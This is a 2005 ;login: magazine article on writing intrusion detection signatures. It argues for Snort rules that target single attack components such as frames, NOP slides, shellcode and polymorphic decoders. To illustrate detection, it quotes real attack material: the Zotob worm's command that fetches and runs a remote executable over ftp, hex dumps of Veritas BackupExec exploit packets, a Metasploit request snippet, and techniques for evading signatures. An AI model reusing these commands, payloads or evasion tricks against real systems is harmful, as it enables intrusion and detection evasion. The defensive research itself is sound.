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I N  A  S E A R C H  O F  T H E  I N T E R N E T  F O R
information about how to write intrusion
detection signatures, one finds links to
manuals and tutorials on the syntax of sig-
natures for use by particular categorization
engines. However, researchers today find no
general handbook for “best practices” or
information about a number of critical
areas that all intrusion detection signa-
tures should address. This article looks at
the issues surrounding—and presents cri-
teria on how to write—high-quality intru-
sion detection signatures for use, for exam-
ple, by categorization engines for intrusion
detection or intrusion prevention.

Signature Attributes

What are some attributes of a quality signature? Com-
mon metrics are false-positive, false-negative, com-
pleteness, breadth, precision, collision, and recall.
Most people are familiar with the first two metrics.
The remaining metrics address the usefulness of the
signature. Completeness measures whether the signa-
tures address the entire threat. Breadth measures the
number of signatures required to reach completeness.
Precision refers to accuracy when categorizing data
outside the original data set (future performance).
Collision reports the number of different attacks that
share the same signature. Finally, recall is a measure
of signature usefulness following implementation.

Most signatures address false-positives. For example,
worm signatures often address a particular worm
variation. A single signature can be written to have no
false-positives, no false-negatives, be complete, and
have both low collision and low breadth (one signa-
ture). However, such a signature would have terrible
precision (not addressing mutations) and diminishing
recall (when was the last time you saw a phf, the old
phone find script, attack?). 

The prevailing approach in signature writing is to
produce high-collision and low-breadth signatures to
reduce the number of rules in the system. Such rules
are seen as having both good recall and precision.
Also, a high-collision signature has a shorter match.
But in order to improve speed, all of these traits lean
toward a smaller rule set with fewer comparisons.
The problem with these characteristics is that they all
tend to have higher false-positive rates. 

The preferred alternative is to write signatures that
address the components of the attack. This means



that signatures do not attempt to detect the entire attack but alarm in response
to sections of the attack that resemble the vulnerability (frame), NOP slide,
shellcode, SQL injection, or cross-script. Alarming on components is relatively
new. The significant amount of work that speaks to alarming on the NOP slide
will be discussed later. 

Component-based signatures tend to show low collision and high breadth and
have good recall and precision. However, they have a longer pattern match. This
longer pattern match produces a lower false-positive rate. The drawback to this
technique is the increased number of alarms for a given attack: one alarm is trig-
gered for each component discovered.  

Two general guidelines for component-based signatures are that the signatures
should do the following:

n Address only a single component of the attack
n Match as much of the invariant section of the component as possible

In component-based signatures, initial signatures will have a higher breadth be-
cause the situation requires a signature for each component instead of a single
signature. However, history shows that when an attack mutates, not all compo-
nents change at the same time. Remaining signatures not associated with the
change still alarm on the new variation because the rules as a set have better re-
call. Today, signature set recall is based on elements other than vulnerability
lifespan. Often, components (like SDBot) of an attack have a much longer life
span than the application vulnerabilities that call them.

L E N GTH I S  E Q UA L  TO  ACC U R ACY  

Writing a good signature is about statistics rather than pattern matching or
anomaly detection. Pattern matching is a game of sequence prediction using
probability: the longer the sequence, the more likely it is that the next element
can be predicted. For example, if I start spelling a word with the letters 
“M-E-E-,” most people will think they can accurately predict the next letter.
However, the most accurate way to know what word I’m actually spelling is to
wait until I’m done. The word could be “meek,” “meet,” “meeting,” “meetings,”
or a number of other possibilities. The listener may learn the actual word only
when, at last, a space occurs. This probability remains—the more data in the
match, the more accurately you can predict it. 

When using a larger pattern match, two concerns related to the capabilities of
the detection (prevention) system apply. The first concern is that a larger signa-
ture may affect detection engine speed and memory. The second is that naturally
occurring network fragmentation could fragment the payload as well.

TA RG E TI N G  TH E  COM P O N E NTS

There is nothing wrong with targeting a particular component. Like Metasploit
[1], attacks are often not very original. Often zero-day exploits use known
frameworks to include known payloads.

For example, the Zotob worm uses a very common infection mechanism. It
writes to a file (named “i” in this example) and then runs the file as input to the
file transfer protocol (ftp) command. The downloaded file is then run, infects
the system, and continues its propagation:

cmd /c echo open 196.168.0.142 24995 > i&echo user 1 1 >> i &echo
get eraseme_70203.exe >> i &echo quit >> i &ftp -n -s:i
&eraseme_70203.exe

This technique is used by a number of worms on both SMB (139) and raw SMB
(445). By targeting this component, one could have detected the Zotob worm
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even without an exploit signature. The following is a tracking signature convert-
ed to a snort format used on our honeypot analysis: 

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:
“ECHO.OPEN.BAT.SUSPECT”; flow:to_server, established; content:
“echo open “; content: “| 3e |” within 40;  content: “| 3e 3e |” within 30;
classtype:misc-activity; sid:20010184; rev: 1;)

What we are looking for in the signature up to this point is the invariance of the
attack. When variation can be generated in an attack, then detection can be
avoided. Two well-documented evasion techniques that create variance are pay-
load polymorphism and NOP slide metamorphism. 

E X A M P L E : V E R ITA S  

Let’s look at an exploit that has multiple published signatures. The Veritas back-
up overflow starts with a small exploit packet, seen here in snort [2] hex:

| 02 00 |2| 00 90 90 90 90 |1| f6 c1 ec 0c c1 e4 0c 89 e7 89 fb |j| 01 8b |t|
24 fe |1| d2 |RB| c1 e2 10 |RWV| b8 ff |P| 11 40 c1 e8 08 ff 10 85 c0 |y| 07
89 dc |N| 85 f6 |u| e1 ff e7 90 90 90 90 90 90 90 90 90 90 90 90 90 a1 ff
|B| 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00
|1.1.1.1.1.1| 00 eb 80 |

The following signature [3] was posted to detect this attack:

alert tcp $EXTERNAL_NET any -> $HOME_NET 6101:6110 (flow:estab-
lished,to_server; content:”|02 00 32 00 90 90 90 90 31|”;
content:”|31 2E 31 2E 31 2E 31 2E 31|”; distance:110; flowbits:set, bku-
pexec_overflow; tag:session,20,packets; msg:”Veritas BackupExec
Buffer Overflow Attempt”; classtype:misc-attack;)

A common mistake as seen in this signature is mixing the payload with the
framework of the attack as a single definition. Consider the Veritas backup over-
flow. The registration request (x02 x00 x32 x00) is the frame. The overflow
(1.1.1.1.1.1\x00\xeb\x81) does the work. Note the shellcode near the end:
\xeb\x81. This call varies by a bit between the Metasploit implementation and
the one posted on Security Focus (\xeb\x80), but they perform the same task of
sending the instruction pointer to the start of the shellcode.

An early signature shows part of a NOP slide after the frame (the four 90s before
the 31), and then part of the shellcode that was posted (Matt Miller’s talk shell-
code). Avoiding this snort signature is as easy as changing the slide NOP from
x90 to A.

Now consider a variant of the attack that is part of the Metasploit. Metasploit is
framework-oriented. It divides the attack into its components and allows the at-
tack to be customized inside that framework. The setup (frame) of the attack
and the overflow are visible in the request setup:

# The registration request
my $req =

“\x02\x00\x32\x00\x20\x00” . $code . “\x00”.
“1.1.1.1.1.1\x00”.
“\xeb\x81”;

The mixing of payload and exploit exists also in well-used signature sets. A sig-
nificant number of snort alarms do not trigger on the exploit but on the pub-
lished shellcode of the exploit. For example, the following named exploit alert
[4] is really triggering on the shellcode that is binding a shell.:

alert tcp $EXTERNAL_NET any -> $HOME_NET 53 (msg:”DNS EXPLOIT
named overflow attempt”; flow:to_server,established; content:”|CD 80
E8 D7 FF FF FF|/bin/sh”; reference:url,www.cert.org/advisories/CA-
1998-05.html; classtype:attempted-admin; sid:261; rev:6;)
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This LPRng signature [4] also is associated with a particular payload:

alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:”EXPLOIT
LPRng overflow”; flow:to_server,established; content:”C|07 89|[|08
8D|K|08 89|C|0C B0 0B CD 80|1|C0 FE C0 CD 80 E8 94 FF FF
FF|/bin/sh|0A|”; reference:bugtraq,1712; reference:cve,CVE-2000-
0917; classtype:attempted-admin; sid:301; rev:6;)

By changing the shellcode, the attacker can avoid either of these alarms.

In general, mixing shellcode detection and exploit within a signature makes it
extremely limited in its completeness and requires only a modification in the at-
tack’s payload to avoid detection.

By contrast, the current snort signature [4] for Veritas seems better. It also looks
at the frame and then checks to see if the payload space has a null (x00) charac-
ter. If there is a null character, then it is highly likely that it is not normal data
but shellcode instead: 

alert tcp $EXTERNAL_NET any -> $HOME_NET 6101 (msg:”EXPLOIT
Veritas backup overflow attempt”; flow:established,to_server; con-
tent:”|02 00|”; depth:2; content:”|00|”; offset:3; depth:1; isdataat:60;
content:!”|00|”; offset:6; 
depth:66; reference:bugtraq,11974; reference:cve,2004-1172;
classtype:misc-attack; sid:3084; rev:2;)

Note that this payload is a call of x81 (bytes), not x80. Also, note the null char-
acter in the framework. More important, note the bad character (BadChars) list-
ing for the payload:

‘Payload’ =>
{
‘MinNops’   => 512,
‘MaxNops’   => 512,
‘Space’     => 1024,
‘BadChars’  => ‘’,
‘Prepend’ => “\x81\xc4\x54\xf2\xff\xff”, # add esp, -3500
‘Keys’      => [‘+ws2ord’],
}

If the Metasploit BadChars listing is correct, then the x00 alarm that the snort
signature aims to prevent could be added to the shellcode. This condition is
highly unlikely.

A more likely alternative is to use a bootstrap load shellcode that would be small
enough to fit under the 60-byte check that snort is making (depth of 6 minus
the offset of 6) and then pad after the call statement with null characters to pre-
vent the alarm. A bootstrap loader connects back to another system, download-
ing more code and then transferring control to it. The sequence is:

1. s = socket()
2. connected = connect(s, …)
3. recv(s, buf, sizeof(buf))
4. jmp buf

This is a powerful technique for launching more sophisticated attacks. It practi-
cally removes the size limitation on shellcode.

Mixing payload attributes with the setup and vulnerability makes signature
writing difficult. The following signature only considers the frame of the attack
based on Metasploit and the version published on the Security Focus Web site:

alert tcp $EXTERNAL_NET any -> $HOME_NET 6101 
(flow:established,to_server; content:”|02 00 32 |”; depth 3;
content:”1.1.1.1.1.1| 00 |”; distance:110; msg:”Veritas BackupExec
Buffer Overflow Attempt”;)

This version actually performs more quickly than the published snort version. 
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Detecting Metamorphics and Polymorphics

Not all attacks have well-defined invariant components. Polymorphic tech-
niques use an XOR encoding to modify the payload, while metamorphic encod-
ing uses command substitution, addition, and commutative properties to obfus-
cate the message (to include shellcode). The following NOP sled obfuscation
section addresses metamorphic encoding. A brief discussion of polymorphic en-
coding follows.

N O P  S L E D  O B F U S C ATI O N

Stack and heap overflows involve transferring control to various locations in
memory. In some cases, an exact address cannot be determined in advance. 
To improve an exploit’s reliability, authors often pad their payload with No-
Operation (NOP) instructions in order to improve successful payload execution.

In May 2001, Shane “K2” Macaulay presented a tool [5] that generated both a
polymorphic payload and a metamorphic NOP slide. The NOP slide was modi-
fied by substituting other instructions that performed a similar function and
were also a word (two bytes) in size. The instructions included incrementing
registers with changeable values. The result was a total of 55 usable instructions.
This technique proved successful against commonly deployed detection algo-
rithms. It is now well known and used by exploit writers. 

In February 2002, Dragos Ruiu released a plug-in to the snort detection system
that used a simple heuristic to detect a NOP slide. The plug-in, called Fnord [6],
counted the consecutive operations that are equivalent to a NOP instruction.
The Fnord plug-in could detect the slide, and like all threshold heuristics, the
accuracy increases with the size of the NOP for which the threshold is set.

All of the detection techniques in this section use a heuristic-based form of de-
tection, which is popular because it is quicker than other forms of analysis that
attempt to determine the flow of the possible shellcode. This heuristic approach
requires that a predetermined number of consecutive NOP-equivalent instruc-
tions appear. Using the same heuristic by treating jump statements as NOP
equivalents allows you to address the technique of jumping forward.

The consecutive NOP-equivalency approach has speed, processing, and memory
advantages over a flow-analysis technique. Three problems arise with the con-
secutive NOP equivalency technique: (1) the size of the NOP slide cannot be
small; (2) the heuristic software has to know all NOP equivalents known to the
attacker; and (3) the attacker must want a pure NOP slide.

To understand a pure slide, a slight advancement in metamorphic techniques
needs to be covered. “Slide” is, of course, an analogy: the instruction pointer
does not need to slide, but can jump toward the payload. As long as the jump in-
struction does not go past the payload, the landing zone of the overflow can
contain jump statements. Phantasmal Phantasmagoria [7], in October 2004, re-
leased a paper on using jump statements in the slide. He additionally demon-
strated (Dragon, dragon_nopjmp) the use of a NOP-equivalence instruction ar-
gument that allows the instruction pointer to land on either the jump
instruction or the argument. 

In demonstrating this NOP jump version, he also demonstrated a version in
which the jump contains a non-NOP equivalent. The demonstration showed
that this version sometimes failed. This form of impure slide resets the consecu-
tive NOP-equivalent counter and makes the slide detection fail and the payload
evade detection.

Yuri Gushin [8] released a more complex metamorphic encoder and a detector
that can detect impure NOP slides. It increased the number of NOP equivalents
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and added an instruction blacklist. The increased NOP instructions are directly
related to the blacklist. The blacklist prevents NOP equivalents from being used
if the registry value is needed by the payload. By doing this, the number of NOP
instructions in the engine can be increased and reduced by the engine when
there is a conflict. 

The detection engine is similar to previous ones; it adds a capability to consider
a non-NOP equivalent or a possible unknown NOP equivalent. This is a crude
implementation of heuristic tolerance that can easily force the detector to miss
the detection when one of the previous tools would have succeeded.

In summary, of the detection tools only the Fnord detector is usable in opera-
tions. The others should be treated as proof-of-concept because they can easily
be avoided by fragmentation, application encoding, and threshold avoidance (to
which Fnord, too, is susceptible).

P O LYM O R P H I C  PAY LOA D S  

An advantage of Metasploit is that it allows the exploits to be constructed with
different payloads. It also will add a polymorphic wrap around the shellcode to
avoid “bad characters” that would cause the exploit to fail. This wrap also can
help hide the payload from intrusion detection systems. 

The polymorphic decoder must be in the clear in order to run. It is important to
note that like all payloads, it would be easy for attackers to avoid detection by
writing their own polymorphic encoder. However, attackers tend to use the ro-
bust, pre-written versions available on the Internet. It is possible to determine
invariance with the limited permutations of published polymorphic tools:

Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg: 
“PEXFNSTENVMOV.ENCODER.METASPLOIT”; flow:to_server, estab-
lished; content: “|59 d9 ee d9 74 24 f4 5b 81 73|”; classtype:misc-activi-
ty; sid:20010239; rev: 1;)

The following is a small snippet of an exploit. This is another Veritas exploit that
has only filler and payload. Only Yuri Gushin’s ecl metamorphic heuristic detec-
tor [8] will alarm on this packet, for it is using the /xfd NOP which exists only
in that slide detector: 

93 99 |7| 97 91 f9 fd |H| f8 f9 |GA| 93 40 98 |F| 9f 9b |J7| fc 92 98 90 |N|
97 |7| 9f 92 |H| 93 |NFG| 9b |A| 96 |GFJN| 90 |KHO| 93 9f |’| 90 |IBA| fd 40
92 |FH| 3f fd |G| d6 |C| d6 92 d6 |7| 9f |jJY| d9 ee d9 |t| 24 f4 5b 81 |s| 13
|Z| c1 ef 99 83 eb fc e2 f4 db 05 bb |k| a5 3e 13 f3 b1 8c 07 |`| a5 3e 10
f9 d1 ad cb bd d1 84 d3 12 26 c4 97 98 b5 |J| a0 81 d1 9e cf 98 b1 88
|d| ad d1 c0 01 a8 9a |XC| 1d 9a b5 e8 |X| 90 cc ee 5b b1 |5| d4 cd

This packet was collected by a honeypot before the release of Yuri Gushin’s ecl
tool. It was detected because the attack used a known polymorphic encoder, the
signature associated with the Metasploit framework. This is a prime example of
code reuse by the attacker, and shows how targeting payloads with signatures
can detect attacks when the exploit signature fails. 

Conclusion

An alternative in signature writing is to move away from the narrow focus of
false-positives and false-negatives to include a more complete analysis of the sig-
nature components. Without separating the detection of NOP slides, frames (ex-
ploit), and shellcodes, attacks will easily avoid publicly available signatures by
modifying the attack. After reviewing the effectiveness of published signatures,
we have concluded that signatures that define only a single component of an at-
tack perform better, both in false-positive and false-negative, and in other met-
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rics such as completeness, breadth, precision, collision, and recall. We also note
that exploit-related signatures alone are not sufficient to maintain a complete
signature rule set and that signatures not associated with the exploit, like NOP
slide detection and polymorphic decoder detection, are vital to a rule set being
complete. 

This research is made possible by the support of the Advanced Research and Devel-
opment Activity (ARDA). ARDA focuses on supporting research addressing impor-
tant information technology problems, while coordinating with other government en-
tities, industry, and academe.

REFERENCES
[1] www.metasploit.org.

[2] www.snort.org.

[3] Cam Beasley, CISSP CIFI, Information Security Office, University of Texas at Austin.

[4] Martin Roesch, Brian Caswell, et al., “exploit.rules” v1.63.2.3 2005/01/17, copyright
2001–2004.

[5] “ADMmutate Engine”: http://www.ktwo.ca/ADMmutate-0.8.4.tar.gz.

[6] “Fnord snort Preprocessor”: http://www.cansecwest.com/spp_fnord.c.

[7] Phantasmal Phantasmagoria (phantasmal@hush.ai), “On Polymorphic Evasion,” Oc-
tober 3, 2004.

[8] Yuri Gushin, “NIDS Polymorphic Evasion—The End?”: http://www.ecl-labs.org/pa-
pers/ecl-poly.txt. 

; LO G I N : D E C E M B E R  2 0 0 5  W R ITI N G  D E T E C TI O N  S I G N AT U R E S 61

NEW!

;login: Surveys
To Help Us Meet Your Needs

;login: is the benefit you, the members of USENIX, have rated

most highly. Please help us make this magazine even better.

Every issue of ;login: online now offers a brief survey, for you to

provide feedback on the articles in ;login: . Have ideas about au-

thors we should—or shouldn’t—include, or topics you’d like to

see covered? Let us know. See 

http://www.usenix.org/publications/login/2005-12/

or go directly to the survey at

https://db.usenix.org/cgi-bin/loginpolls/dec05login/survey.cgi




